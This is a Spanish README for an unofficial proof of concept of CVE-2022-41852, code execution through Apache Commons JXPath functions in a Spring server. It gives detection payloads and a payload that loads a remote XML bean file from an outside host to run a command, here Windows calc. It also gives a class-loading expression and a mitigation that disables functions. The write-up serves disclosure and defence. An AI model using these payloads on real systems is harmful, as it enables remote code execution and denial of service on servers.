
CVE-2022-41852 Prueba de concepto (no oficial)
CVE-2022-41852 permite a los atacantes ejecutar código en el servidor de aplicaciones.
Puedes leer más sobre esta vulnerabilidad aquí:
Nota: No soy autor de este CVE. Solo he creado esta prueba de concepto.
La librería JXPath tiene soporte para ejecutar funciones en expresiones XPath (consulta la Guía oficial de usuario).
Por ejemplo, los métodos JXPathContext.getValue(path) y JXPathContext.iterate(path) son peligrosos
si permites que el usuario envíe entrada al parámetro path.
Este PoC inicia un servidor Spring simple con dos endpoints:
/vulnerable-example?path=[path]/secure-example?path=[path]Estos endpoints tienen solo un parámetro de consulta "path".
Las siguientes solicitudes funcionarán correctamente (no causarán ningún problema):
Las siguientes solicitudes provocarán la ejecución de código:
Ejemplos de payloads para detectar CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)Puede haber varias formas de ejecutar comandos. Una de ellas es usar el ClassPathXmlApplicationContext de Spring:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")En el archivo XML, puedes definir la configuración del bean; por ejemplo, puedes crear una instancia de ProcessBuilder
y ejecutar el comando especificado en el servidor inicializando el bean con el método start().
En el siguiente ejemplo, se abrirá la calculadora en una máquina Windows:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
También existe una forma de cargar nuevas clases recorriendo el bean de contexto; por ejemplo, el siguiente código cargará la clase com.warxim.dangerous.DangerousClass, creará su instancia y llamará al método run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
Observa que tenemos que llamar a los métodos del objeto colocando el objeto que los contiene como primer parámetro.
Es posible deshabilitar las funciones en JXPathContext configurando el campo functions con una FunctionLibrary vacía.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Nota: Esto deshabilitará todas las funciones, por lo que ni siquiera funciones como size() estarán disponibles.
La corrección está en desarrollo; consulta https://github.com/apache/commons-jxpath/pull/26